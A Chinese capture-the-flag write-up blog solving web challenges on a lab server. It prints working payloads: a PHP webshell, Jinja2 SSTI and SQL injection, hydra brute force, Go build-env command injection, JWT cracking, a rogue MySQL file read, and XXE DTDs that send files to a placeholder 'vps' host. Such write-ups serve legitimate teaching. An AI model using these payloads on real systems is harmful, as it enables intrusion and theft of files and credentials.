'zip://', 'zip%3A//',
'data:', 'data%3A',
'glob://', 'glob%3A//',
'expect://', 'expect%3A//',
'ftp://', 'ftps://',
'passwd', 'shadow', 'etc/', 'root', 'bin', 'bash',
'base64', 'string.', 'rot13',
'eval', 'system', 'exec', 'shell_exec', 'popen'
];
foreach ($blacklist_keywords as $keyword) {
if (stripos($imageUrl, $keyword) !== false) {
die("I see you.....");
}
}
// 如果没有URL参数,选择一个随机图片并重定向
if (empty($imageUrl)) {
$randomImage = $randomImages[array_rand($randomImages)];
header("Location: ?url=" . urlencode($randomImage));
exit();
}

// 初始化变量
$base64Image = '';
$imageInfo = null;
$error = '';

if (!empty($imageUrl)) {
// 验证URL格式
if (filter_var($imageUrl, FILTER_VALIDATE_URL)) {
// 使用file_get_contents获取图片内容
$imageContent = @file_get_contents($imageUrl);

if ($imageContent !== false) {
// 获取图片信息
$imageInfo = @getimagesizefromstring($imageContent);
if ($imageInfo) {
// 获取MIME类型
$mimeType = $imageInfo['mime'];

// 将图片内容转换为base64编码
$base64Image = base64_encode($imageContent);
} else {
$error = '无法识别的图片格式 你的图片:'.$imageUrl.":".$imageContent;
}
} else {
$error = '无法获取图片内容,请检查URL是否正确 '.$imageUrl.":".$imageContent;
}
} else {
$error = '无效的URL格式';
}
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>图片展示</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}

body {
font-family: 'Arial', sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
display: flex;
justify-content: center;
align-items: center;
padding: 20px;
}

.container {
background: rgba(255, 255, 255, 0.95);
border-radius: 20px;
box-shadow: 0 20px 40px rgba(0, 0, 0, 0.1);
padding: 40px;
text-align: center;
max-width: 600px;
width: 100%;
backdrop-filter: blur(10px);
}

.header {
margin-bottom: 30px;
}

.header h1 {
color: #333;
font-size: 2.5em;
margin-bottom: 10px;
background: linear-gradient(45deg, #667eea, #764ba2);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
}

.header p {
color: #666;
font-size: 1.1em;
}

.image-container {
position: relative;
margin: 30px 0;
}

.avatar-frame {
width: 250px;
height: 250px;
margin: 0 auto;
border-radius: 50%;
overflow: hidden;
box-shadow: 0 15px 35px rgba(0, 0, 0, 0.2);
border: 5px solid #fff;
transition: transform 0.3s ease;
}

.avatar-frame:hover {
transform: scale(1.05);
}

.avatar-image {
width: 100%;
height: 100%;
object-fit: cover;
}

.info-box {
background: linear-gradient(45deg, #667eea, #764ba2);
color: white;
padding: 20px;
border-radius: 15px;
margin-top: 30px;
}

.info-box h3 {
margin-bottom: 15px;
font-size: 1.3em;
}

.info-content {
text-align: left;
line-height: 1.6;
}

.error-message {
background: #ff6b6b;
color: white;
padding: 20px;
border-radius: 10px;
margin: 20px 0;
font-size: 1.1em;
}

.footer {
margin-top: 30px;
color: #888;
font-size: 0.9em;
}

.controls {
margin: 20px 0;
}

.btn {
background: linear-gradient(45deg, #667eea, #764ba2);
color: white;
border: none;
padding: 12px 25px;
border-radius: 50px;
font-size: 1em;
cursor: pointer;
transition: all 0.3s ease;
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
}

.btn:hover {
transform: translateY(-3px);
box-shadow: 0 8px 20px rgba(0, 0, 0, 0.2);
}

.btn:active {
transform: translateY(1px);
}

.loading {
display: none;
font-size: 1.2em;
color: #667eea;
margin: 20px 0;
}

@media (max-width: 768px) {
.container {
padding: 20px;
}

.header h1 {
font-size: 2em;
}

.avatar-frame {
width: 200px;
height: 200px;
}
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>图片展示</h1>
</div>

<div class="controls">
<button id="refreshBtn" class="btn">获取新图片</button>
</div>

<?php if (!empty($error)): ?>
<div class="error-message">
错误:<?php echo htmlspecialchars($error); ?>
</div>
<?php elseif (!empty($base64Image)): ?>
<div class="image-container">
<div class="avatar-frame">
<img src="data:<?php echo $mimeType; ?>;base64,<?php echo $base64Image; ?>" alt="显示图片" class="avatar-image">
</div>
</div>

<div class="info-box">
<h3>图片信息</h3>
<div class="info-content">
<p><strong>图片尺寸:</strong><?php echo $imageInfo[0]; ?> × <?php echo $imageInfo[1]; ?> 像素</p>
<p><strong>图片类型:</strong><?php echo $mimeType; ?></p>
<p><strong>文件大小:</strong><?php echo round(strlen(base64_decode($base64Image)) / 1024, 2); ?> KB</p>
<p><strong>来源URL:</strong><?php echo htmlspecialchars($imageUrl); ?></p>
</div>
</div>
<?php endif; ?>
</div>

<script>
// 随机图片URL数组
const randomImages = [
'https://picsum.photos/500/500?random=1',
'https://picsum.photos/500/500?random=2',
'https://picsum.photos/500/500?random=3',
'https://picsum.photos/500/500?random=4',
'https://picsum.photos/500/500?random=5',
'https://picsum.photos/500/500?random=6',
'https://picsum.photos/500/500?random=7',
'https://picsum.photos/500/500?random=8',
'https://picsum.photos/500/500?random=9',
'https://picsum.photos/500/500?random=10'
];

// 获取刷新按钮
const refreshBtn = document.getElementById('refreshBtn');

// 点击刷新按钮获取新图片
refreshBtn.addEventListener('click', function() {
const randomImage = randomImages[Math.floor(Math.random() * randomImages.length)];
window.location.href = '?url=' + encodeURIComponent(randomImage);
});
</script>
</body>
</html>

www.zip,大概率是利用zip实现目录穿越

我超!想复杂了,连php://都没限制

1
http://challenge.ilovectf.cn:30101/?url=php://filter/resource=../../../../flag
1
错误:无法识别的图片格式 你的图片:php://filter/resource=../../../../flag:flag{You_937_7HE_FIltEr}

好啊!

[Week2] Only Picture Up

咦?上传一个图片就能得到flag?

提示很明显了,准备图片马

1
2
➜  web cat wow.jpg
<?php system($_GET['cmd']); ?>

http://challenge.ilovectf.cn:30445/?preview=wow.jpg&cmd=cat%20/FL4g94

flag{08416cde-c31b-4934-8404-dab0b39501a7}

[Week2] Regular Expression

正则表达式是一个好工具!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');

if(isset($_GET["?"])){
$_? = $_GET['?'];
if(preg_match('/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/', $_?) && strlen($_?) == 40) {
echo 'Good job! Now I need you to write a regular expression for my string.</br>';
if(isset($_POST['preg'])){
$preg = str_replace("|","",$_POST['preg']);
$test_string = 'Please\ 777give+. !me?<=-=>(.*)Flaggg0';
if(preg_match('/'.$preg.'/', $test_string) && strlen($_POST['preg']) > 77){
echo "Congratulations! Here is your flag: ".$flag;
}else{
echo "Almost succeeded!";
}
}
}else{
echo "Think twice, and go to study!!!";
}
}else{
echo "Welcome to ?ctf";
} Welcome to ?ctf

这啥呀,

1
/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/

payload为

1
2
-ctf<
>>>>>h00!!@email.com flagA

这里有坑,被<\n>{5}搞了好久,原来是<\n>>>>>,哈哈哈哈哈哈哈哈哈,笑傻了。

1
curl -i 'http://challenge.ilovectf.cn:30067/index.php?%3F=-ctf%3C%0A%3E%3E%3E%3E%3Eh00%21%21%21%21%21%21%21%21%21%21%40email.com%20flagA'
1
Good job! Now I need you to write a regular expression for my string.

接着构建下一个payload,这个简单,注意下长度即可:

1
2
curl -X POST 'http://challenge.ilovectf.cn:30067/index.php?%3F=-ctf%3C%0A%3E%3E%3E%3E%3Eh00%21%21%21%21%21%21%21%21%21%21%40email.com%20flagA' \
-d 'preg=.*Flaggg0(?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)'
1
Good job! Now I need you to write a regular expression for my string.</br>Congratulations! Here is your flag: flag{3ad3a3e5-2201-4313-b7d2-4f0ec314256e}

[Week2] 留言板

jinjia2

1
2
{{7*7}}
49
1
2
3
4
5
6
7
{{ request.application.__globals__.__builtins__.__import__('os').popen('ls /').read() }}

no " ' "!! ( 加点小过滤不介意吧^_^

{{[].__class__.__base__}}

<class 'object'>

单双引号、url_for都无法使用。

1
{{ some_object.__init__.__globals__.__builtins__.chr(108) ~ some_object.__init__.__globals__.__builtins__.chr(115) }}

输出ls,哈哈哈哈

1
2
3
4
➜  ~ curl -X POST 'http://challenge.ilovectf.cn:30476/ssti?u1=_&c=c&l=l&a=a&s=s&i=i&n=n&g=g&o=o&p=p&e=e&t=t&sp=%20&m=m&r=r&k=k&b=b' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'message={{url_for|attr(request.args.u1~request.args.u1~request.args.g~request.args.l~request.args.o~request.args.b~request.args.a~request.args.l~request.args.s~request.args.u1~request.args.u1)[request.args.o~request.args.s]|attr(request.args.p~request.args.o~request.args.p~request.args.e~request.args.n)(request.args.l~request.args.s)|join}}'
no " url_for "!! ( 加点小过滤不介意吧^_^%
1
curl -X POST 'http://challenge.ilovectf.cn:30084/ssti' --data-urlencode 'message={{7*7}}'

https://github.com/Marven11/Fenjing/我超,这是什么东西??!!

1
python -m fenjing crack --url 'http://challenge.ilovectf.cn:30084/ssti' --detect-mode fast --inputs message --method POST

fenjing

[Week2] 登录和查询

看网页源码拿到百度网盘,获得字典和提示

1
2
3
4
5
恭喜你找到了这里,你是个很棒的ctfer

登录密码和用户名就藏在这个目录下的字典里面,不要去用别的字典哦,服务器的小心肝受不了。

越过登录界面之后还有一关,flag就在在flags表里面可是id为多少呢?

hydra一把梭

1
2
3
4
5
6
7
8
9
10
➜  [Week2] 登录和查询 hydra -s 30049 -v -L 字典.txt -P 字典.txt challenge.ilovectf.cn http-post-form "/login.php:username=^USER^&password=^PASS^:F=错误"
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-09 07:14:13
[DATA] max 16 tasks per 1 server, overall 16 tasks, 4900 login tries (l:70/p:70), ~307 tries per task
[DATA] attacking http-post-form://challenge.ilovectf.cn:30049/login.php:username=^USER^&password=^PASS^:F=错误
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[STATUS] 1822.00 tries/min, 1822 tries in 00:01h, 3078 to do in 00:02h, 16 active
[VERBOSE] Page redirected to http[s]://challenge.ilovectf.cn:30049/flag.php
[30049][http-post-form] host: challenge.ilovectf.cn login: admin password: admin123

登陆后跳转到http://challenge.ilovectf.cn:30049/flag.php,提示You_are_so_a_go0d_ctfer

构造id请求http://challenge.ilovectf.cn:30049/flag.php?id=2提示try_use_union!Okkk

尝试有几个字段,发现http://challenge.ilovectf.cn:30049/flag.php?id=-1' UNION SELECT 1,2,3--+提示123

http://challenge.ilovectf.cn:30049/flag.php?id=-1' UNION SELECT 1,2,flag FROM flags--+提示
12OH!YOU_AR3_1N_RIGHT_WA7_

提交flag{OH!YOU_AR3_1N_RIGHT_WA7_},并不正确。
看提示:flag就在在flags表里面,猜测flag并不在flag里。

列出flags表下所有行

1
http://challenge.ilovectf.cn:30049/flag.php?id=-1' UNION SELECT 1,2,group_concat(id, ':', flag) FROM flags--+

成功夺旗

1
121:OH!YOU_AR3_1N_RIGHT_WA7_,2:flag{28778804-9c7d-4cd2-9a6f-972d89c79139}

果然有两行,提交。其实提示很多,全程都有,很贴心了。

[Week2] 这是什么函数

没见过?搜一下!在/flag

看不懂思密达,问一下Gemini:

1
2
3
4
5
6
7
8
9
10
11
12
13
前端页面分析:

标题与提示: 题目名称是“这是什么函数?”,页面内提示“题目问函数,可是这个页面里面哪有函数?”和“信息搜集一下,不在这个页面哦”。这强烈暗示我们需要寻找源码或线索来发现后端使用的关键函数。

核心功能: 页面提供一个 JSON 输入框,点击按钮后,会通过 JavaScript fetch 函数向 /pollute 路径发送一个 POST 请求,Content-Type 为 application/json。

关键点: 路径名 /pollute 是一个非常明显的提示,指向了 原型链污染 (Prototype Pollution) 漏洞。提交数据后弹窗提示“你应该找找这个包要干什么”,进一步说明后端使用了某个具体的第三方库(包)来处理 JSON 数据,而这个库存在漏洞。

漏洞识别:

原型链污染 (Prototype Pollution): 这是 JavaScript 的一种漏洞。当一个应用不安全地合并(merge)或克隆(clone)对象时,攻击者可以利用 __proto__ 或 constructor.prototype 等键来修改 Object.prototype(所有对象的原型)。一旦原型被污染,可能会导致拒绝服务(DoS)、权限提升,甚至远程代码执行(RCE)。

目标: 我们的目标是构造一个恶意的 JSON 数据,发送到 /pollute 接口,污染服务器的 JS 环境,然后在访问 /flag 页面时触发我们植入的恶意行为,从而读取到 flag。

找篇文章学习一下:https://zhuanlan.zhihu.com/p/8675630190

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(base) ➜  ~ dirsearch -u http://challenge.ilovectf.cn:30056/

_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /Users/chao/reports/http_challenge.ilovectf.cn_30056/__25-10-09_08-23-24.txt

Target: http://challenge.ilovectf.cn:30056/

[08:23:24] Starting:
[08:28:23] 200 - 39B - /flag
[08:31:20] 200 - 1KB - /src

Task Completed

我超!这个也太强了。访问/src,获得源码,原来是flask吗(我以为是node.js)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from flask import Flask, request, render_template
import json

app = Flask(__name__)


def merge(src, dst):
for k, v in src.items():
if hasattr(dst, "__getitem__"):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False


class cls():
def __init__(self):
pass


instance = cls()
cat = "where is the flag?"
dog = "how to get the flag?"


@app.route("/", methods=["GET", "POST"])
def index():
return render_template("index.html")


@app.route("/flag", methods=["GET", "POST"])
def flag():
with open("/flag", "r") as f:
flag = f.read().strip()

if cat == dog:
return flag
else:
return cat + " " + dog


@app.route("/src", methods=["GET", "POST"])
def src():
return open(__file__, encoding="utf-8").read()


@app.route("/pollute", methods=["GET", "POST"])
def Pollution():
if request.is_json:
merge(json.loads(request.data), instance)
else:
return "fail"
return "success"


if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)

那就是 Object Pollution 了是吧?
要让if cat == dog:

1
2
3
4
5
6
7
(base) ➜  ~ curl -X POST -H "Content-Type: application/json" \
-d '{"__init__": {"__globals__": {"dog": "where is the flag?"}}}' \
http://challenge.ilovectf.cn:30056/pollute
success%

(base) ➜ ~ curl http://challenge.ilovectf.cn:30056/flag
flag{78fc813f-b506-4c1a-b1f0-1017eea2a0ec}%

[Week3] VIP

先探索一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{{.Utils.GetReader "/flag.txt" | .Utils.ReadAll}}
模板执行错误: template: name:1:22: executing "name" at <.Utils.GetReader>: error calling GetReader: open /flag.txt: permission denied

{{.Utils.GetReader "/etc/passwd" | .Utils.ReadAll}}
输出结果: root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
app:x:1000:1000:Linux User,,,:/home/app:/sbin/nologin

{{.Utils.GetReader "/proc/self/environ" | .Utils.ReadAll}}
输出结果: HOME=/appGOCACHE=/tmp/go-buildGOPATH=/tmp/gopathSECRET_KEY_PATH=/app/secret_key.txtPATH=/usr/local/go/bin:/usr/bin:/bin

发现SECRET_KEY_PATH=/app/secret_key.txt

1
2
{{.Utils.GetReader "/app/secret_key.txt" | .Utils.ReadAll}}
输出结果: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr
1
runtime: /usr/local/go/pkg/tool/linux_amd64/compile: signal: killed

???OOM了,联系学长调大内存,继续。

尝试embed,但无法跨越目录,卒。

1
2
3
4
5
6
7
8
9
10
11
12
13
package main

import (
_ "embed" // 如果只使用 //go:embed,导入包时可以加下划线避免未使用报错
"fmt"
)

//go:embed "main.go"
var embedFile string

func main() {
fmt.Println("flag:", embedFile)
}

尝试内嵌C,permission denied,卒

1
2
3
4
5
6
7
8
9
10
11
12
curl -X POST \
'http://challenge.ilovectf.cn:30224/vip/build' \
-H 'Content-Type: application/json' \
-H 'X-API-Key: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr' \
-d '{
"env": {
"CGO_ENABLED": "1",
"CGO_CFLAGS": "-include /flag.txt"
},
"code": "package main\n\n/*\n#include <stdio.h>\n*/\nimport \"C\"\n\nfunc main() {\n\t\n}"
}'
{"details":"# runtime/cgo\n\u003ccommand-line\u003e: fatal error: /flag.txt: Permission denied\ncompilation terminated.\n","error":"编译失败","reason":"exit status 1"}

尝试GOFLAGS,哦吼!有戏?

1
2
3
4
5
6
7
8
9
10
11
12
{
"code": "package main\n\nfunc main() {}",
"env": {
"GOFLAGS": "-toolexec=\"cat\""
}
}

curl -X POST 'http://challenge.ilovectf.cn:30224/vip/build' \
-H 'X-API-Key: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr' \
-H 'Content-Type: application/json' \
--data @payload.json
{"details":"cat: unrecognized option: V\nBusyBox v1.36.1 (2025-08-05 16:44:32 UTC) multi-call binary.\n\nUsage: cat [-nbvteA] [FILE]...\n\nPrint FILEs to stdout\n\n\t-n\tNumber output lines\n\t-b\tNumber nonempty lines\n\t-v\tShow nonprinting characters as ^x or M-x\n\t-t\t...and tabs as ^I\n\t-e\t...and end lines with $\n\t-A\tSame as -vte\ncat: unrecognized option: V\nBusyBox v1.36.1 (2025-08-05 16:44:32 UTC) multi-call binary.\n\nUsage: cat [-nbvteA] [FILE]...\n\nPrint FILEs to stdout\n\n\t-n\tNumber output lines\n\t-b\tNumber nonempty lines\n\t-v\tShow nonprinting characters as ^x or M-x\n\t-t\t...and tabs as ^I\n\t-e\t...and end lines with $\n\t-A\tSame as -vte\ngo: error obtaining buildID for go tool compile: exit status 1\ncat: unrecognized option: V\nBusyBox v1.36.1 (2025-08-05 16:44:32 UTC) multi-call binary.\n\nUsage: cat [-nbvteA] [FILE]...\n\nPrint FILEs to stdout\n\n\t-n\tNumber output lines\n\t-b\tNumber nonempty lines\n\t-v\tShow nonprinting characters as ^x or M-x\n\t-t\t...and tabs as ^I\n\t-e\t...and end lines with $\n\t-A\tSame as -vte\ngo: error obtaining buildID for go tool compile: exit status 1\ngo: error obtaining buildID for go tool compile: exit status 1\ncat: unrecognized option: V\nBusyBox v1.36.1 (2025-08-05 16:44:32 UTC) multi-call binary.\n\nUsage: cat [-nbvteA] [FILE]...\n\nPrint FILEs to stdout\n\n\t-n\tNumber output lines\n\t-b\tNumber nonempty lines\n\t-v\tShow nonprinting characters as ^x or M-x\n\t-t\t...and tabs as ^I\n\t-e\t...and end lines with $\n\t-A\tSame as -vte\n","error":"编译失败","reason":"exit status 1"}%

不能有空格,卒。

尝试CGO,Gooooood

1
2
3
4
5
6
{
"code": "package main\n\nimport \"C\"\n\nfunc main() {}",
"env": {
"CC": "sh -c 'uname -a; exit 0'"
}
}

可以可以,正常执行了,但/flag.txt还是没权限,考虑SUID提权(其实早该想到了)

1
2
3
4
5
6
{
"code": "package main\n\nimport \"C\"\n\nfunc main() {}",
"env": {
"CC": "sh -c 'find / -perm -u=s -type f 2>/dev/null; exit 0'"
}
}
1
2
3
4
5
curl -X POST 'http://challenge.ilovectf.cn:30224/vip/build' \
-H 'X-API-Key: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr' \
-H 'Content-Type: application/json' \
--data @payload.json
{"details":"# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\ncgo: cannot parse $WORK/b003/_cgo_.o as ELF, Mach-O, PE or XCOFF\n","error":"编译失败","reason":"exit status 1"}%

哦吼?**/usr/local/bin/flagread**

1
2
3
4
5
6
{
"code": "package main\n\nimport \"C\"\n\nfunc main() {}",
"env": {
"CC": "sh -c '/usr/local/bin/flagread; exit 0'"
}
}
1
2
3
4
5
(base) ➜  [Week3] VIP curl -X POST 'http://challenge.ilovectf.cn:30224/vip/build' \
-H 'X-API-Key: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr' \
-H 'Content-Type: application/json' \
--data @payload.json
{"details":"# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\ncgo: cannot parse $WORK/b003/_cgo_.o as ELF, Mach-O, PE or XCOFF\n","error":"编译失败","reason":"exit status 1"}%

GOoooooooD,一血!

[Week3] 查查忆

查一查关于XML的回忆

ENTITY被过滤

1
2
3
<!ENTITY % file_content SYSTEM "php://filter/read=convert.base64-encode/resource=/f1111llllaa44g">
<!ENTITY % exfil "<!ENTITY send SYSTEM 'http://vps的ip地址/probe-hit?flag=%file_content;'>">
%exfil;
1
2
3
<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "http://vps的ip地址/test3.dtd">
<xxx>&send;</xxx>

vps上起一个python -m http.server 80 (用80是因为懒得去后台放行端口💦)

xxe

1
2
3
ZmxhZ3tjNDc1YWU3ZC1hNGNhLTQyZmUtYWIxNC1lMzFkMTllMTQxMzl9

flag{c475ae7d-a4ca-42fe-ab14-e31d19e14139}

艰难探索:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?xml version="1.0" ?>
<!DOCTYPE memory SYSTEM "https://week3.free.beeceptor.com/evil.dtd">
<memory>&xxe;</memory>

<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///f1111llllaa44g" parse="text"/>
</root>


<!DOCTYPE root SYSTEM "file:///f1111llllaa44g">
<root/>提示failed!,如果把路径改为一个不存在的,反而变成success了。base64编码的payload,<!DOCTYPE root SYSTEM "data:text/plain;base64,PCFFTlRJVFklICUgZmlsZSBTWVNURU0gImZpbGU6Ly8vZjExMTFsbGxsbGFhNDRnIj48IUVOVElUWSAlIGV2YWwgIjwhRU5USVRZICYjeDI1OyBlcnJvciBTWVNURU0gJ2ZpbGU6Ly8vbm9uZXhpc3RlbnQvJWZpbGU7Jz4iPiVldmFsOyVlcnJvcjs=">
<root/>提示failed,但改成<!DOCTYPE root SYSTEM "data:text/plain;base64,==">
<root/>又提示success


<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "http://vps/evil.dtd">
<root>&send;</root>


<!-- probe_evil.dtd -->
<!ENTITY send_http SYSTEM "http://vps/probe-hit?tag=probe1">


<!ENTITY send_http SYSTEM "http://vps/probe-hit?tag=probe1">
<!ENTITY % file SYSTEM "file:///f1111llllaa44g">
<!ENTITY all "<!ENTITY exfil SYSTEM 'http://vps/exp?data=%file;'>">


<!-- dns.dtd -->
<!ENTITY % test SYSTEM "http://test.3akofe.dnslog.cn/">
<!ENTITY % file SYSTEM "file:///f1111llllaa44g">
<!ENTITY % e SYSTEM "http://%file;.3akofe.dnslog.cn/">
%
%e;


<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://vps/?%file;'>">
%all;

<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "http://vps/dns.dtd">
<root/>

[Week3] mysql管理工具

先写正确思路:

观察登陆也网页html注释,发现低权限账号user/pass,登陆后拿到JWT,使用jwtcrack爆破。在macOS上编译jwtcrack有点费劲,不要用make,直接用gcc指定ssl位置。

1
2
3
gcc -o jwtcrack main.o base64.o \
-L/opt/homebrew/opt/openssl@3/lib -lssl -lcrypto \
-L/opt/homebrew/opt/ruby/lib -lpthread
1
2
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJleHAiOjE3NjA0NTQ4MDl9.kJvYL0phbK4dNL7PkEpiT7VmAvGQ7mZm18gXfW-7hnE
Secret is "Suam"

拿这个去https://www.bejson.com/jwt/#google_vignette把username改成admin,吧exp改长一点,Secret每个容器都是随机生成的。

拿新生成的JWT替换掉user权限的,进入sql测试页面。使用这个https://github.com/rmb122/rogue_mysql_server项目开启一个Rogue Mysql Server,file_list依次尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
/etc/passwd 验证是否成功
/proc/self/environ 检查环境变量(本题没有收获)
/proc/self/cmdline 容器会写init指令
/home/ctf/app.py 呜呜呜呜

root@iZbp1d5rltw6uhsn58zuoaZ:~/rogue_mysql_server-v1.0.1-linux-amd64# cat loot/43.248.77.227/176045*
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
ctf:x:1000:1000::/home/ctf:/bin/sh

SHLVL=1HOME=/home/ctfPATH=/usr/local/bin:/usr/bin:/binPWD=/home/ctfpython-u/home/ctf/app.py

from flask import Flask, request, jsonify, render_template_string
import MySQLdb
import jwt
import random
import string
from functools import wraps
from datetime import datetime, timedelta
import yaml # pyyaml==5.1

app = Flask(__name__)
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=4))

JWT_SECRET = ''.join(random.choices(string.ascii_letters + string.digits, k=4))
